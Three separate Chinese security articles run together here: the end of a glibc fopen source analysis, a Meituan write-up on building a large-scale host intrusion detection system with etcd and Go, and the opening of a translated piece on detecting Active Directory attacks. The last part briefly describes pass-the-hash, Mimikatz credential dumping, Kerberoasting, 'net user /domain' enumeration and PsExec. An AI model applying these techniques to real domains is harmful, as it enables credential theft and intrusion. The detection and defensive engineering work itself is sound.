if (_IO_file_is_open (fp))
return 0;
## 设置文件打开模式
switch (*mode)
{
case 'r':
omode = O_RDONLY;
read_write = _IO_NO_WRITES;
break;
...
}
...
## 调用_IO_file_open函数
result = _IO_file_open (fp, filename, omode|oflags, oprot, read_write,
is32not64);
...
}
libc_hidden_ver (_IO_new_file_fopen, _IO_file_fopen)
函数先检查文件描述符是否打开，然后设置文件打开的模式，最后调用`_IO_file_open`函数，跟进去`_IO_file_open`函数，该函数在`/libio/fileops.c`里面：
_IO_FILE *
_IO_file_open (_IO_FILE *fp, const char *filename, int posix_mode, int prot,
int read_write, int is32not64)
{
int fdesc;
...
# 调用系统函数open打开文件
fdesc = open (filename, posix_mode | (is32not64 ? 0 : O_LARGEFILE), prot);
...
# 将文件描述符设置到FILE结构体的相应字段_fileno里
fp->_fileno = fdesc;
...
#再次调用_IO_link_in
_IO_link_in ((struct _IO_FILE_plus *) fp);
return fp;
}
libc_hidden_def (_IO_file_open)
函数的主要功能就是执行系统调用`open`打开文件，并将文件描述符赋值给FILE结构体的`_fileno`字段，最后再次调用`_IO_link_in`函数，确保该结构体被链接进入`_IO_list_all`链表。
执行完`_IO_new_file_fopen`函数后，FILE结构体为：
该函数执行完后，程序返回FILE结构体指针，分析结束
## 小结
看完代码后，可以将fopen整体的流程可以归纳为：
1. `malloc`分配内存空间。
2. `_IO_no_init` 对file结构体进行`null`初始化。
3. `_IO_file_init`将结构体链接进`_IO_list_all`链表。
4. `_IO_file_fopen`执行系统调用打开文件。
整个流程还是比较简单的，fopen返回之后`_IO_list_all`链表指向返回的FILE结构体，且FILE结构体的_chain字段指向之前的结构体（没有其他额外打开文件的话，将是指向`stderr`），同时其他的字段大多都是默认的null值，`vtable`存储的是`__GI__IO_file_jumps`函数表，截图如下。 | 社区文章 |
**作者：陈驰**
**来源：<https://tech.meituan.com/2019/01/17/distributed-hids-cluster-architecture-design.html>**
## 背景
近年来，互联网上安全事件频发，企业信息安全越来越受到重视，而IDC服务器安全又是纵深防御体系中的重要一环。保障IDC安全，常用的是基于主机型入侵检测系统Host-based Intrusion Detection
System，即HIDS。在HIDS面对几十万台甚至上百万台规模的IDC环境时，系统架构该如何设计呢？复杂的服务器环境，网络环境，巨大的数据量给我们带来了哪些技术挑战呢？
## 需求描述
对于HIDS产品，我们安全部门的产品经理提出了以下需求：
1. 满足50W-100W服务器量级的IDC规模。
2. 部署在高并发服务器生产环境，要求Agent低性能低损耗。
3. 广泛的部署兼容性。
4. 偏向应用层和用户态入侵检测（可以和内核态检测部分解耦）。
5. 针对利用主机Agent排查漏洞的最急需场景提供基本的能力，可以实现海量环境下快速查找系统漏洞。
6. Agent跟Server的配置下发通道安全。
7. 配置信息读取写入需要鉴权。
8. 配置变更历史记录。
9. Agent插件具备自更新功能。
## 分析需求
首先，服务器业务进程优先级高，HIDS Agent进程自己可以终止，但不能影响宿主机的主要业务，这是第一要点，那么业务需要具备熔断功能，并具备自我恢复能力。
其次，进程保活、维持心跳、实时获取新指令能力，百万台Agent的全量控制时间一定要短。举个极端的例子，当Agent出现紧急情况，需要全量停止时，那么全量停止的命令下发，需要在1-2分钟内完成，甚至30秒、20秒内完成。这些将会是很大的技术挑战。
还有对配置动态更新，日志级别控制，细分精确控制到每个Agent上的每个HIDS子进程，能自由地控制每个进程的启停，每个Agent的参数，也能精确的感知每台Agent的上线、下线情况。
同时，Agent本身是安全Agent，安全的因素也要考虑进去，包括通信通道的安全性，配置管理的安全性等等。
最后，服务端也要有一致性保障、可用性保障，对于大量Agent的管理，必须能实现任务分摊，并行处理任务，且保证数据的一致性。考虑到公司规模不断地扩大，业务不断地增多，特别是美团和大众点评合并后，面对的各种操作系统问题，产品还要具备良好的兼容性、可维护性等。
总结下来，产品架构要符合以下特性：
1. 集群高可用。
2. 分布式，去中心化。
3. 配置一致性，配置多版本可追溯。
4. 分治与汇总。
5. 兼容部署各种Linux 服务器，只维护一个版本。
6. 节省资源，占用较少的CPU、内存。
7. 精确的熔断限流。
8. 服务器数量规模达到百万级的集群负载能力。
## 技术难点
在列出产品需要实现的功能点、技术点后，再来分析下遇到的技术挑战，包括不限于以下几点：
* 资源限制，较小的CPU、内存。
* 五十万甚至一百万台服务器的Agent处理控制问题。
* 量级大了后，集群控制带来的控制效率，响应延迟，数据一致性问题。
* 量级大了后，数据传输对整个服务器内网带来的流量冲击问题。
* 量级大了后，运行环境更复杂，Agent异常表现的感知问题。
* 量级大了后，业务日志、程序运行日志的传输、存储问题，被监控业务访问量突增带来监控数据联动突增，对内网带宽，存储集群的爆发压力问题。
我们可以看到，技术难点几乎都是 **服务器到达一定量级** 带来的，对于大量的服务，集群分布式是业界常见的解决方案。
## 架构设计与技术选型
对于管理Agent的服务端来说，要实现高可用、容灾设计，那么一定要做多机房部署，就一定会遇到数据一致性问题。那么数据的存储，就要考虑分布式存储组件。
分布式数据存储中，存在一个定理叫`CAP定理`：
### CAP的解释
关于`CAP定理`，分为以下三点：
* 一致性（Consistency）：分布式数据库的数据保持一致。
* 可用性（Availability）：任何一个节点宕机，其他节点可以继续对外提供服务。
* 分区容错性（网络分区）Partition Tolerance：一个数据库所在的机器坏了，如硬盘坏了，数据丢失了，可以添加一台机器，然后从其他正常的机器把备份的数据同步过来。
根据定理，分布式系统只能满足三项中的两项而不可能满足全部三项。理解`CAP定理`的最简单方式是想象两个节点分处分区两侧。允许至少一个节点更新状态会导致数据不一致，即丧失了Consistency。如果为了保证数据一致性，将分区一侧的节点设置为不可用，那么又丧失了Availability。除非两个节点可以互相通信，才能既保证Consistency又保证Availability，这又会导致丧失Partition
Tolerance。
参见：[CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem)
### CAP的选择
为了容灾上设计，集群节点的部署，会选择的异地多机房，所以 「Partition tolerance」是不可能避免的。 **那么可选的是`AP` 与
`CP`。**
在HIDS集群的场景里，各个Agent对集群持续可用性没有非常强的要求，在短暂时间内，是可以出现异常，出现无法通讯的情况。但最终状态必须要一致，不能存在集群下发关停指令，而出现个别Agent不听从集群控制的情况出现。所以，我们需要一个满足
**`CP`** 的产品。
### 满足CP的产品选择
在开源社区中，比较出名的几款满足CP的产品，比如etcd、ZooKeeper、Consul等。我们需要根据几款产品的特点，根据我们需求来选择符合我们需求的产品。
插一句，网上很多人说Consul是AP产品，这是个错误的描述。既然Consul支持分布式部署，那么一定会出现「网络分区」的问题，
那么一定要支持「Partition tolerance」。另外，在consul的官网上自己也提到了这点 [Consul uses a CP
architecture, favoring consistency over availability.
](https://www.consul.io/intro/vs/serf.html)
> Consul is opinionated in its usage while Serf is a more flexible and general
> purpose tool. In CAP terms, Consul uses a CP architecture, favoring
> consistency over availability. Serf is an AP system and sacrifices
> consistency for availability. This means Consul cannot operate if the
> central servers cannot form a quorum while Serf will continue to function
> under almost all circumstances.
**etcd、ZooKeeper、Consul对比**
借用etcd官网上etcd与ZooKeeper和Consul的比较图。
在我们HIDS Agent的需求中，除了基本的`服务发现` 、`配置同步` 、`配置多版本控制`
、`变更通知`等基本需求外，我们还有基于产品安全性上的考虑，比如`传输通道加密`、`用户权限控制`、`角色管理`、`基于Key的权限设定`等，这点
`etcd`比较符合我们要求。很多大型公司都在使用，比如`Kubernetes`、`AWS`、`OpenStack`、`Azure`、`Google
Cloud`、`Huawei Cloud`等，并且`etcd`的社区支持非常好。基于这几点因素，我们选择`etcd`作为HIDS的分布式集群管理。
### 选择etcd
对于etcd在项目中的应用，我们分别使用不同的API接口实现对应的业务需求，按照业务划分如下：
* Watch机制来实现配置变更下发，任务下发的实时获取机制。
* 脑裂问题在etcd中不存在，etcd集群的选举，只有投票达到 `N/2+1` 以上，才会选做Leader，来保证数据一致性。另外一个网络分区的Member节点将无主。
* 语言亲和性，也是Golang开发的，Client SDK库稳定可用。
* Key存储的数据结构支持范围性的Key操作。
* User、Role权限设定不同读写权限，来控制Key操作，避免其他客户端修改其他Key的信息。
* TLS来保证通道信息传递安全。
* Txn分布式事务API配合Compare API来确定主机上线的Key唯一性。
* Lease租约机制，过期Key释放，更好的感知主机下线信息。
* etcd底层Key的存储为BTree结构，查找时间复杂度为O（㏒n），百万级甚至千万级Key的查找耗时区别不大。
### etcd Key的设计
前缀按角色设定：
* Server配置下发使用 `/hids/server/config/{hostname}/master`。
* Agent注册上线使用 `/hids/agent/master/{hostname}`。
* Plugin配置获取使用 `/hids/agent/config/{hostname}/plugin/ID/conf_name`。
Server Watch `/hids/server/config/{hostname}/master`，实现Agent主机上线的瞬间感知。Agent
Watch `/hids/server/config/{hostname}/`来获取配置变更，任务下发。Agent注册的Key带有Lease
Id，并启用keepalive，下线后瞬间感知。 （异常下线，会有1/3的keepalive时间延迟）
关于Key的权限，根据不同前缀，设定不同Role权限。赋值给不同的User，来实现对Key的权限控制。
### etcd集群管理
在etcd节点容灾考虑，考虑DNS故障时，节点会选择部署在多个城市，多个机房，以我们服务器机房选择来看，在大部分机房都有一个节点，综合承载需求，我们选择了N台服务器部署在个别重要机房，来满足负载、容灾需求。但对于etcd这种分布式一致性强的组件来说，每个写操作都需要`N/2-1`的节点确认变更，才会将写请求写入数据库中，再同步到各个节点，那么意味着节点越多，需要确认的网络请求越多，耗时越多，反而会影响集群节点性能。这点，我们后续将提升单个服务器性能，以及牺牲部分容灾性来提升集群处理速度。
客户端填写的IP列表，包含域名、IP。IP用来规避DNS故障，域名用来做Member节点更新。最好不要使用Discover方案，避免对内网DNS服务器产生较大压力。
同时，在配置etcd节点的地址时，也要考虑到内网DNS故障的场景，地址填写会混合IP、域名两种形式。
1. IP的地址，便于规避内网DNS故障。
2. 域名形式，便于做个别节点更替或扩容。
我们在设计产品架构时，为了安全性，开启了TLS证书认证，当节点变更时，证书的生成也同样要考虑到上面两种方案的影响，证书里需要包含固定IP，以及DNS域名范围的两种格式。
**etcd Cluster节点扩容**
节点扩容，官方手册上也有完整的方案，etcd的Client里实现了健康检测与故障迁移，能自动的迁移到节点IP列表中的其他可用IP。也能定时更新etcd
Node List，对于etcd Cluster的集群节点变更来说，不存在问题。需要我们注意的是，TLS证书的兼容。
## 分布式HIDS集群架构图
集群核心组件高可用，所有Agent、Server都依赖集群，都可以无缝扩展，且不影响整个集群的稳定性。即使Server全部宕机，也不影响所有Agent的继续工作。
在以后Server版本升级时，Agent不会中断，也不会带来雪崩式的影响。etcd集群可以做到单节点升级，一直到整个集群升级，各个组件全都解耦。
## 编程语言选择
考虑到公司服务器量大，业务复杂，需求环境多变，操作系统可能包括各种Linux以及Windows等。为了保证系统的兼容性，我们选择了Golang作为开发语言，它具备以下特点：
1. 可以静态编译，直接通过syscall来运行，不依赖libc，兼容性高，可以在所有Linux上执行，部署便捷。
2. 静态编译语言，能将简单的错误在编译前就发现。
3. 具备良好的GC机制，占用系统资源少，开发成本低。
4. 容器化的很多产品都是Golang编写，比如Kubernetes、Docker等。
5. etcd项目也是Golang编写，类库、测试用例可以直接用，SDK支持快速。
6. 良好的CSP并发模型支持，高效的协程调度机制。
### 产品架构大方向
HIDS产品研发完成后，部署的服务都运行着各种业务的服务器，业务的重要性排在第一，我们产品的功能排在后面。为此，确定了几个产品的大方向：
* 高可用，数据一致，可横向扩展。
* 容灾性好，能应对机房级的网络故障。
* 兼容性好，只维护一个版本的Agent。
* 依赖低，不依赖任何动态链接库。
* 侵入性低，不做Hook，不做系统类库更改。
* 熔断降级可靠，宁可自己挂掉，也不影响业务 。
## 产品实现
篇幅限制，仅讨论`框架设计`、`熔断限流`、`监控告警`、`自我恢复`以及产品实现上的`主进程`与`进程监控`。
### 框架设计
如上图，在框架的设计上，封装常用类库，抽象化定义`Interface`，剥离`etcd
Client`，全局化`Logger`，抽象化App的启动、退出方法。使得各`模块`（以下简称`App`）只需要实现自己的业务即可，可以方便快捷的进行逻辑编写，无需关心底层实现、配置来源、重试次数、熔断方案等等。
**沙箱隔离**
考虑到子进程不能无限的增长下去，那么必然有一个进程包含多个模块的功能，各`App`之间既能使用公用底层组件（`Logger`、`etcd
Client`等），又能让彼此之间互不影响，这里进行了`沙箱化`处理，各个属性对象仅在各`App`的`sandbox`里生效。同样能实现了`App`进程的`性能熔断`，停止所有的业务逻辑功能，但又能具有基本的`自我恢复`功能。
**IConfig**
对各App的配置抽象化处理，实现IConfig的共有方法接口，用于对配置的函数调用，比如`Check`的检测方法，检测配置合法性，检测配置的最大值、最小值范围，规避使用人员配置不在合理范围内的情况，从而避免带来的风险。
框架底层用`Reflect`来处理JSON配置，解析读取填写的配置项，跟Config对象对比，填充到对应`Struct`的属性上，允许JSON配置里只填写变化的配置，没填写的配置项，则使用`Config`对应`Struct`的默认配置。便于灵活处理配置信息。
type IConfig interface {
Check() error //检测配置合法性
}
func ConfigLoad(confByte []byte, config IConfig) (IConfig, error) {
...
//反射生成临时的IConfig
var confTmp IConfig
confTmp = reflect.New(reflect.ValueOf(config).Elem().Type()).Interface().(IConfig)
...
//反射 confTmp 的属性
confTmpReflect := reflect.TypeOf(confTmp).Elem()
confTmpReflectV := reflect.ValueOf(confTmp).Elem()
//反射config IConfig
configReflect := reflect.TypeOf(config).Elem()
configReflectV := reflect.ValueOf(config).Elem()
...
for i = 0; i < num; i++ {
//遍历处理每个Field
envStructTmp := configReflect.Field(i)
//根据配置中的项，来覆盖默认值
if envStructTmp.Type == confStructTmp.Type {
configReflectV.FieldByName(envStructTmp.Name).Set(confTmpReflectV.Field(i))
**Timer、Clock调度**
在业务数据产生时，很多地方需要记录时间，时间的获取也会产生很多系统调用。尤其是在每秒钟产生成千上万个事件，这些事件都需要调用`获取时间`接口，进行`clock_gettime`等系统调用，会大大增加系统CPU负载。
而很多事件产生时间的准确性要求不高，精确到秒，或者几百个毫秒即可，那么框架里实现了一个颗粒度符合需求的（比如100ms、200ms、或者1s等）间隔时间更新的时钟，即满足事件对时间的需求，又减少了系统调用。
同样，在有些`Ticker`场景中，`Ticker`的间隔颗粒要求不高时，也可以合并成一个`Ticker`，减少对CPU时钟的调用。
**Catcher**
在多协程场景下，会用到很多协程来处理程序，对于个别协程的panic错误，上层线程要有一个良好的捕获机制，能将协程错误抛出去，并能恢复运行，不要让进程崩溃退出，提高程序的稳定性。
**抽象接口**
框架底层抽象化封装Sandbox的Init、Run、Shutdown接口，规范各App的对外接口，让App的初始化、运行、停止等操作都标准化。App的模块业务逻辑，不需要关注PID文件管理，不关注与集群通讯，不关心与父进程通讯等通用操作，只需要实现自己的业务逻辑即可。App与框架的统一控制，采用Context包以及Sync.Cond等条件锁作为同步控制条件，来同步App与框架的生命周期，同步多协程之间同步，并实现App的安全退出，保证数据不丢失。
### 限流
**网络IO**
* 限制数据上报速度。
* 队列存储数据任务列表。
* 大于队列长度数据丢弃。
* 丢弃数据总数计数。
* 计数信息作为心跳状态数据上报到日志中心，用于数据对账。
**磁盘IO**
程序运行日志，对日志级别划分，参考 `/usr/include/sys/syslog.h`：
* LOG_EMERG
* LOG_ALERT
* LOG_CRIT
* LOG_ERR
* LOG_WARNING
* LOG_NOTICE
* LOG_INFO
* LOG_DEBUG
在代码编写时，根据需求选用级别。级别越低日志量越大，重要程度越低，越不需要发送至日志中心，写入本地磁盘。那么在异常情况排查时，方便参考。
日志文件大小控制，分2个文件，每个文件不超过固定大小，比如`20M`、`50M`等。并且，对两个文件进行来回写，避免日志写满磁盘的情况。
**IRetry**
为了加强Agent的鲁棒性，不能因为某些RPC动作失败后导致整体功能不可用，一般会有重试功能。Agent跟etcd
Cluster也是TCP长连接（HTTP2），当节点重启更换或网络卡顿等异常时，Agent会重连，那么重连的频率控制，不能是死循环般的重试。假设服务器内网交换机因内网流量较大产生抖动，触发了Agent重连机制，不断的重连又加重了交换机的负担，造成雪崩效应，这种设计必须要避免。
在每次重试后，需要做一定的回退机制，常见的`指数级回退`，比如如下设计，在规避雪崩场景下，又能保障Agent的鲁棒性，设定最大重试间隔，也避免了Agent失控的问题。
//网络库重试Interface
type INetRetry interface {
//开始连接函数
Connect() error
String() string
//获取最大重试次数
GetMaxRetry() uint
...
}
// 底层实现
func (this *Context) Retry(netRetry INetRetry) error {
...
maxRetries = netRetry.GetMaxRetry() //最大重试次数
hashMod = netRetry.GetHashMod()
for {
if c.shutting {
return errors.New("c.shutting is true...")
}
if maxRetries > 0 && retries >= maxRetries {
c.logger.Debug("Abandoning %s after %d retries.", netRetry.String(), retries)
return errors.New("超过最大重试次数")
}
...
if e := netRetry.Connect(); e != nil {
delay = 1 << retries
if delay == 0 {
delay = 1
}
delay = delay * hashInterval
...
c.logger.Emerg("Trying %s after %d seconds , retries:%d,error:%v", netRetry.String(), delay, retries, e)
time.Sleep(time.Second * time.Duration(delay))
}
...
}
**事件拆分**
百万台IDC规模的Agent部署，在任务执行、集群通讯或对宿主机产生资源影响时，务必要错峰进行，根据每台主机的唯一特征取模，拆分执行，避免造成雪崩效应。
### 监控告警
古时候，行军打仗时，提倡「兵马未动，粮草先行」，无疑是冷兵器时代决定胜负走向的重要因素。做产品也是，尤其是大型产品，要对自己运行状况有详细的掌控，做好监控告警，才能确保产品的成功。
对于etcd集群的监控，组件本身提供了`Metrics`数据输出接口，官方推荐了[Prometheus](https://prometheus.io/)来采集数据，使用[Grafana](https://grafana.com/)来做聚合计算、图标绘制，我们做了`Alert`的接口开发，对接了公司的告警系统，实现IM、短信、电话告警。
**Agent数量感知，依赖Watch数字，实时准确感知。**
如下图，来自产品刚开始灰度时的某一时刻截图，Active Streams（即etcd
Watch的Key数量）即为对应Agent数量，每次灰度的产品数量。因为该操作，是Agent直接与集群通讯，并且每个Agent只Watch一个Key。且集群数据具备唯一性、一致性，远比心跳日志的处理要准确的多。
**etcd集群Members之间健康状况监控**
用于监控管理etcd集群的状况，包括`Member`节点之间数据同步，Leader选举次数，投票发起次数，各节点的内存申请状况，GC情况等，对集群的健康状况做全面掌控。
**程序运行状态监控告警**
全量监控Aagent的资源占用情况，统计每天使用最大CPU\内存的主机Agent，确定问题的影响范围，及时做策略调整，避免影响到业务服务的运行。并在后续版本上逐步做调整优化。
百万台服务器，日志告警量非常大，这个级别的告警信息的筛选、聚合是必不可少的。减少无用告警，让研发运维人员疲于奔命，也避免无用告警导致研发人员放松了警惕，前期忽略个例告警，先解决主要矛盾。
* 告警信息分级，告警信息细分ID。
* 根据告警级别过滤，根据告警ID聚合告警，来发现同类型错误。
* 根据告警信息的所在机房、项目组、产品线等维度来聚合告警，来发现同类型错误。
**数据采集告警**
* 单机数据数据大小、总量的历史数据对比告警。
* 按机房、项目组、产品线等维度的大小、总量等维度的历史数据对比告警。
* 数据采集大小、总量的对账功能，判断经过一系列处理流程的日志是否丢失的监控告警。
### 熔断
* 针对单机Agent使用资源大小的阈值熔断，CPU使用率，连续N次触发大于等于5%，则进行保护性熔断，退出所有业务逻辑，以保护主机的业务程序优先。
* Master进程进入空闲状态，等待第二次时间`Ticker`到来，决定是否恢复运行。
* 各个App基于业务层面的监控熔断策略。
### 灰度管理
在前面的`配置管理`中的`etcd
Key`设计里，已经细分到每个主机（即每个Agent）一个Key。那么，服务端的管理，只要区分该主机所属机房、环境、群组、产品线即可，那么，我们的管理Agent的颗粒度可以精确到每个主机，也就是支持任意纬度的灰度发布管理与命令下发。
### 数据上报通道
组件名为 `log_agent` ，是公司内部统一日志上报组件，会部署在每一台VM、Docker上。主机上所有业务均可将日志发送至该组件。
`log_agent`会将日志上报到Kafka集群中，经过处理后，落入Hive集群中。（细节不在本篇讨论范围）
### 主进程
主进程实现跟etcd集群通信，管理整个Agent的配置下发与命令下发；管理各个子模块的启动与停止；管理各个子模块的CPU、内存占用情况，对资源超标进行进行熔断处理，让出资源，保证业务进程的运行。
插件化管理其他模块，多进程模式，便于提高产品灵活性，可更简便的更新启动子模块，不会因为个别模块插件的功能、BUG导致整个Agent崩溃。
### 进程监控
**方案选择**
我们在研发这产品时，做了很多关于`linux进程创建监控`的调研，不限于`安全产品`，大约有下面三种技术方案：
对于公司的所有服务器来说，几十万台都是已经在运行的服务器，新上的任何产品，都尽量避免对服务器有影响，更何况是所有服务器都要部署的Agent。
意味着我们在选择`系统侵入性`来说，优先选择`最小侵入性`的方案。
对于`Netlink`的方案原理，可以参考这张图（来自:[kernel-proc-connector-and-containers](https://www.slideshare.net/kerneltlv/kernel-proc-connector-and-containers)）
**系统侵入性比较**
* `cn_proc`跟`Autid`在「系统侵入性」和「数据准确性」来说，`cn_proc`方案更好，而且使用CPU、内存等资源情况，更可控。
* `Hook`的方案，对系统侵入性太高了，尤其是这种最底层做HOOK syscall的做法，万一测试不充分，在特定环境下，有一定的概率会出现Bug，而在百万IDC的规模下，这将成为大面积事件，可能会造成重大事故。
**兼容性上比较**
* `cn_proc`不兼容Docker，这个可以在宿主机上部署来解决。
* `Hook`的方案，需要针对每种Linux的发行版做定制，维护成本较高，且不符合长远目标（收购外部公司时遇到各式各样操作系统问题）
**数据准确性比较**
在大量PID创建的场景，比如Docker的宿主机上，内核返回PID时，因为PID返回非常多非常快，很多进程启动后，立刻消失了，另外一个线程都还没去读取`/proc/`，进程都丢失了，场景常出现在Bash执行某些命令。
最终，我们选择`Linux Kernel
Netlink接口的cn_proc指令`作为我们进程监控方案，借助对Bash命令的收集，作为该方案的补充。当然，仍然存在丢数据的情况，但我们为了系统稳定性，产品侵入性低等业务需求，牺牲了一些安全性上的保障。
对于Docker的场景，采用宿主机运行，捕获数据，关联到Docker容器，上报到日志中心的做法来实现。
**遇到的问题**
**内核Netlink发送数据卡住**
内核返回数据太快，用户态`ParseNetlinkMessage`解析读取太慢，导致用户态网络Buff占满，内核不再发送数据给用户态，进程空闲。对于这个问题，我们在用户态做了队列控制，确保解析时间的问题不会影响到内核发送数据。对于队列的长度，我们做了定值限制，生产速度大于消费速度的话，可以丢弃一些数据，来保证业务正常运行，并且来控制进程的内存增长问题。
**疑似“内存泄露”问题**
在一台Docker的宿主机上，运行了50个Docker实例，每个Docker都运行了复杂的业务场景，频繁的创建进程，在最初的产品实现上，启动时大约10M内存占用，一天后达到200M的情况。
经过我们Debug分析发现，在`ParseNetlinkMessage`处理内核发出的消息时，PID频繁创建带来内存频繁申请，对象频繁实例化，占用大量内存。同时，在Golang
GC时，扫描、清理动作带来大量CPU消耗。在代码中，发现对于 **linux/connector.h** 里的`struct cb_msg`、
**linux/cn_proc.h** 里的`struct
proc_event`结构体频繁创建，带来内存申请等问题，以及Golang的GC特性，内存申请后，不会在GC时立刻归还操作系统，而是在后台任务里，逐渐的归还到操作系统，见：[debug.FreeOSMemory](https://golang.org/src/runtime/debug/garbage.go?h=FreeOSMemory#L99)
> FreeOSMemory forces a garbage collection followed by an attempt to return as
> much memory to the operating system as possible. (Even if this is not
> called, the runtime gradually returns memory to the operating system in a
> background task.)
但在这个业务场景里，大量频繁的创建PID，频繁的申请内存，创建对象，那么申请速度远远大于释放速度，自然内存就一直堆积。
从文档中可以看出，`FreeOSMemory`的方法可以将内存归还给操作系统，但我们并没有采用这种方案，因为它治标不治本，没法解决内存频繁申请频繁创建的问题，也不能降低CPU使用率。
为了解决这个问题，我们采用了`sync.Pool`的内置对象池方式，来复用回收对象，避免对象频繁创建，减少内存占用情况，在针对几个频繁创建的对象做对象池化后，同样的测试环境，内存稳定控制在15M左右。
大量对象的复用，也减少了对象的数量，同样的，在Golang GC运行时，也减少了对象的扫描数量、回收数量，降低了CPU使用率。
## 项目进展
在产品的研发过程中，也遇到了一些问题，比如：
1. etcd Client Lease Keepalive的Bug。
2. Agent进程资源限制的Cgroup触发几次内核Bug。
3. Docker宿主机上瞬时大量进程创建的性能问题。
4. 网络监控模块在处理Nginx反向代理时，动辄几十万TCP链接的网络数据获取压力。
5. 个别进程打开了10W以上的fd。
方法一定比困难多，但方法不是拍脑袋想出来的，一定要深入探索问题的根本原因，找到系统性的修复方法，具备高可用、高性能、监控告警、熔断限流等功能后，对于出现的问题，能够提前发现，将故障影响最小化，提前做处理。在应对产品运营过程中遇到的各种问题时，逢山开路，遇水搭桥，都可以从容的应对。
经过我们一年的努力，已经部署了除了个别特殊业务线之外的其他所有服务器，数量达几十万台，产品稳定运行。在数据完整性、准确性上，还有待提高，在精细化运营上，需要多做改进。
本篇更多的是研发角度上软件架构上的设计，关于安全事件分析、数据建模、运营策略等方面的经验和技巧，未来将会由其他同学进行分享，敬请期待。
## 总结
我们在研发这款产品过程中，也看到了网上开源了几款同类产品，也了解了他们的设计思路，发现很多产品都是把主要方向放在了单个模块的实现上，而忽略了产品架构上的重要性。
比如，有的产品使用了`syscall
hook`这种侵入性高的方案来保障数据完整性，使得对系统侵入性非常高，Hook代码的稳定性，也严重影响了操作系统内核的稳定。同时，Hook代码也缺少了监控熔断的措施，在几十万服务器规模的场景下部署，潜在的风险可能让安全部门无法接受，甚至是致命的。
这种设计，可能在服务器量级小时，对于出现的问题多花点时间也能逐个进行维护，但应对几十万甚至上百万台服务器时，对维护成本、稳定性、监控熔断等都是很大的技术挑战。同时，在研发上，也很难实现产品的快速迭代，而这种方式带来的影响，几乎都会导致内核宕机之类致命问题。这种事故，使用服务器的业务方很难进行接受，势必会影响产品的研发速度、推进速度；影响同事（SRE运维等）对产品的信心，进而对后续产品的推进带来很大的阻力。
以上是笔者站在研发角度，从可用性、可靠性、可控性、监控熔断等角度做的架构设计与框架设计，分享的产品研发思路。
笔者认为大规模的服务器安全防护产品，首先需要考虑的是架构的稳定性、监控告警的实时性、熔断限流的准确性等因素，其次再考虑安全数据的完整性、检测方案的可靠性、检测模型的精确性等因素。
九层之台，起于累土。只有打好基础，才能运筹帷幄，决胜千里之外。
## 参考资料
1. <https://en.wikipedia.org/wiki/CAP_theorem>
2. <https://www.consul.io/intro/vs/serf.html>
3. <https://golang.org/src/runtime/debug/garbage.go?h=FreeOSMemory#L99>
4. <https://www.ibm.com/developerworks/cn/linux/l-connector/>
5. <https://www.kernel.org/doc/>
6. <https://coreos.com/etcd/docs/latest/>
## 作者简介
[陈驰](https://www.cnxct.com/)，美团点评技术专家，2017年加入美团，十年以上互联网产品研发经验，专注于分布式系统架构设计，目前主要从事安全防御产品研发工作。
## 关于美团安全
美团安全部的大多数核心开发人员，拥有多年互联网以及安全领域实践经验，很多同学参与过大型互联网公司的安全体系建设，其中也不乏全球化安全运营人才，具备百万级IDC规模攻防对抗的经验。安全部也不乏CVE“挖掘圣手”，有受邀在Black
Hat等国际顶级会议发言的讲者，当然还有很多漂亮的运营妹子。
目前，美团安全部涉及的技术包括渗透测试、Web防护、二进制安全、内核安全、分布式开发、大数据分析、安全算法等等，同时还有全球合规与隐私保护等策略制定。我们正在建设一套百万级IDC规模、数十万终端接入的移动办公网络自适应安全体系，这套体系构建于零信任架构之上，横跨多种云基础设施，包括网络层、虚拟化/容器层、Server
软件层（内核态/用户态）、语言虚拟机层（JVM/JS
V8）、Web应用层、数据访问层等，并能够基于“大数据+机器学习”技术构建全自动的安全事件感知系统，努力打造成业界最前沿的内置式安全架构和纵深防御体系。
随着美团的高速发展，业务复杂度不断提升，安全部门面临更多的机遇和挑战。我们希望将更多代表业界最佳实践的安全项目落地，同时为更多的安全从业者提供一个广阔的发展平台，并提供更多在安全新兴领域不断探索的机会。
## 招聘信息
美团安全部正在招募Web&二进制攻防、后台&系统开发、机器学习&算法等各路小伙伴。如果你想加入我们，欢迎简历请发至邮箱[[email protected]](mailto:[email protected])
具体职位信息可参考这里：<https://mp.weixin.qq.com/s/ynEq5LqQ2uBcEaHCu7Tsiw>
美团安全应急响应中心MTSRC主页：[security.meituan.com](https://security.meituan.com)
* * * | 社区文章 |
# 针对微软活动目录（AD）的七大高级攻击技术及相应检测方法
|
##### 译文声明
本文是翻译文章，文章原作者 Positive Technologies，文章来源：blog.ptsecurity.com
原文地址：<http://blog.ptsecurity.com/2018/10/advanced-attacks-on-microsoft-active.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、概述
在过去的4年中，对微软活动目录（Microsoft Active Directory）的攻击一直都是Black
Hat和Defcon会议关注的一大重点。演讲者们不断讲解新的攻击角度，分享他们的发现，同时也提出检测方法和防御方案。根据这些已有的信息，我认为IT部门已经完全可以构建一个安全的基础架构，并且该架构可以由安全部门来进行监控。但是，如果想要进行高质量的监控，那么还需要有良好的工具。这其实就像是一个军事基地：只在其周围建起守卫塔还不够，还需要派一些战士在守卫塔上面持续监控。
## 二、六个不容忽视的攻击方式
### 2.1 哈希值传递
这种攻击方法受到NTLM架构的限制，NTLM是微软在20世纪90年代发布的一种身份验证协议。要登陆到远程主机，需要存储在计算机上的密码哈希值，用于身份验证过程。该哈希值可以从计算机上提取出来。
### 2.2 Mimikatz
为了实现这一目的，法国的研究者Benjamin Delpy在2014年开发了Mimikatz，该实用程序允许从计算机内存中转储明文密码和NTLM哈希值。
### 2.3 暴力破解
如果无法实现从主机提取凭据，那么攻击者也可以选择粗暴但是有效的密码猜测技术。
### 2.4 net user/domain
在进行攻击之前，攻击者实际上需要一个用户名字典。当任何域成员执行net user /domain命令之后，该命令就会返回AD域用户的完整列表。
### 2.5 Kerberoasting攻击
如果域使用了Kerberos作为身份验证协议，那么攻击者就可以尝试进行Kerberoasting攻击。在域上进行身份验证的任何用户，都可以请求Kerberos
Ticket，用于访问服务（票证授予服务Ticket Granting
Service）。TGS使用运行服务用户的密码哈希值进行加密。攻击者在请求TGS后，就可以对TGS进行离线的暴力破解，这一暴破过程不会受到任何阻止。如果成功，攻击者将获得运行服务账户的密码，而这一账户通常为特权账户。
### 2.6 PSEXEC
在攻击者获得所需凭据之后，下一步就是要远程命令执行。使用Sysinternals中的PsExec实用程序可以轻松实现，这个实用程序非常有效，受到广大IT管理员和广大黑客的青睐。
## 三、盘点七大高级攻击技术
现在，我们将盘点7种能够实现Active Direction完全控制的黑客攻击方法。下图展现了攻击的四个步骤，而其中的每一步都对应着一套方法。
